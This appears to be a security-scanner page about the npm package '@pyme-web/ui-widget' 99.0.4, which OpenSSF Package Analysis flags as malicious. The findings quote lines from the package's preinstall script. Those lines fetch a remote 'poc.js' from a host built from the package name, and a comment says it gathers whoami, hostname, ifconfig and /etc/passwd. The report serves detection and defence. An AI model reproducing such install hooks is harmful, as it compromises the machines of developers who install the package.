All @pyme-web/ui-widget versions
@pyme-web/ui-widget @99.0.4
ui-widget utilities
Maintainers
Keywords
SAST Findings (5)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (1a0e5880d2e46c9c21b93adf94a02207034c309c25da2540a2dd41860c75d180) The OpenSSF Package Analysis project identified '@pyme-web/ui-widget' @ 99.0.4 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
Script: node preinstall.js
Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";
Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";
Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.
Review Summary
Risk score: 100 (capped from 148). Findings: 1 critical (+40), 3 high (+75), 3 medium (+30), 1 low (+3).
Published to npm: